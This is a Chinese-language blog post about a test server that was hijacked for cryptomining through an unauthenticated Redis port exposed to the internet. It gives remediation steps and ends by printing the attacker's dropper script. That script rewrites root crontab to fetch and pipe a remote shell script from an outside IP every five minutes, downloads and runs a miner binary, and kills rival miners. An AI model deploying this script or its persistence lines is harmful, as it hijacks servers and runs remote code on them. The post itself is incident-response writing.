記一次服務器被挖礦經歷與解決辦法

記一次服務器被挖礦經歷與解決辦法






在最近的某一天裏面,中午的一個小息事後,忽然手機的郵件和公衆號監控zabbix的告警多了起來。我拿起手機一看原來是某臺服務器上的CPU跑滿了,就開始登上去看一下是哪一個腳本致使負荷高的(在期間使用top -d 1命令查看負荷佔用狀況)。能夠靜下來想了下,中午你們都在休息不該該CPU負載會這麼高的,內心想80%是服務器被黑了。

記一次服務器被挖礦經歷與解決辦法

後來發現是/tmp/ddgs.3013和/tmp/qW3xT.2這兩個文件跑滿了服務器CPU,後來決定先kill掉文件PID和刪除/tmp目錄下的文件,發現一刪除就自動建立上了,怎麼刪除也不能解決掉。通過一系列的查找問題以後發現了crontab上把之前配置都覆蓋掉了加上了一條(/5 * wget -q -O- http://165.225.157.157:8000/i.sh | sh)下載一個腳本的命令,可是第一時間就想到服務器被黑了。由於第一次碰見的緣由當時內心「小鹿亂轉」,後來查了點資料和問了一些同行才知道原來服務器被挖礦了,在度娘裏面搜索到的很嚇人。

記一次服務器被挖礦經歷與解決辦法






既然已經知道了是被什麼gongji(51這也算是敏感字??)的了,也排查到它是通過掃描到我redis端口來黑的,那就對症下藥吧!

  • 先在防火牆上設置redis端口限制在內網
    記一次服務器被挖礦經歷與解決辦法
  • 在排查下redis是否有設置密碼redis

    vim  /usr/local/redis/redis.conf
    requirepass yourpassword
  • 清除crontab的配置vim

    echo > /var/spool/cron/root
    # 或者
    systemctl stop crond
  • kill掉佔用CPU高的兩個文件服務器

    ps -ef | grep /tmp/ddgs.3013 | awk '{print $2}' | xargs kill -9
    ps -ef | grep /tmp/qW3xT.2 | awk '{print $2}' | xargs kill -9
  • 最後一步刪除/tmp目錄下兩個文件curl

    rm -rf /tmp/ddgs.3013
    rm -rf /tmp/qW3xT.2

    慢慢負載才降了下來,真的是心驚膽戰啊,睡個覺就出現被挖礦的問題!後來回想了一下出現這種問題不外乎兩種

  • 一、把redis端口暴露在外網
  • 二、redis沒設置密碼(由於本人是測試環境,偷了下懶沒設置密碼)

    本人很不才兩種錯誤都犯了,也特此提醒本身之後這種錯誤別在犯了。最後提供上這個腳本的具體內容:

export PATH=$PATH:/bin:/usr/bin:/usr/local/bin:/usr/sbin

echo "*/5 * * * * curl -fsSL http://165.225.157.157:8000/i.sh | sh" > /var/spool/cron/root
echo "*/5 * * * * wget -q -O- http://165.225.157.157:8000/i.sh | sh" >> /var/spool/cron/root
mkdir -p /var/spool/cron/crontabs
echo "*/5 * * * * curl -fsSL http://165.225.157.157:8000/i.sh | sh" > /var/spool/cron/crontabs/root
echo "*/5 * * * * wget -q -O- http://165.225.157.157:8000/i.sh | sh" >> /var/spool/cron/crontabs/root

ps auxf | grep -v grep | grep /tmp/ddgs.3011 || rm -rf /tmp/ddgs.3011
if [ ! -f "/tmp/ddgs.3011" ]; then
    curl -fsSL http://165.225.157.157:8000/static/3011/ddgs.$(uname -m) -o /tmp/ddgs.3011
fi
chmod +x /tmp/ddgs.3011 && /tmp/ddgs.3011

ps auxf | grep -v grep | grep Circle_MI | awk '{print $2}' | xargs kill
ps auxf | grep -v grep | grep get.bi-chi.com | awk '{print $2}' | xargs kill
ps auxf | grep -v grep | grep hashvault.pro | awk '{print $2}' | xargs kill
ps auxf | grep -v grep | grep nanopool.org | awk '{print $2}' | xargs kill
ps auxf | grep -v grep | grep minexmr.com | awk '{print $2}' | xargs kill
ps auxf | grep -v grep | grep /boot/efi/ | awk '{print $2}' | xargs kill
相關文章
相關標籤/搜索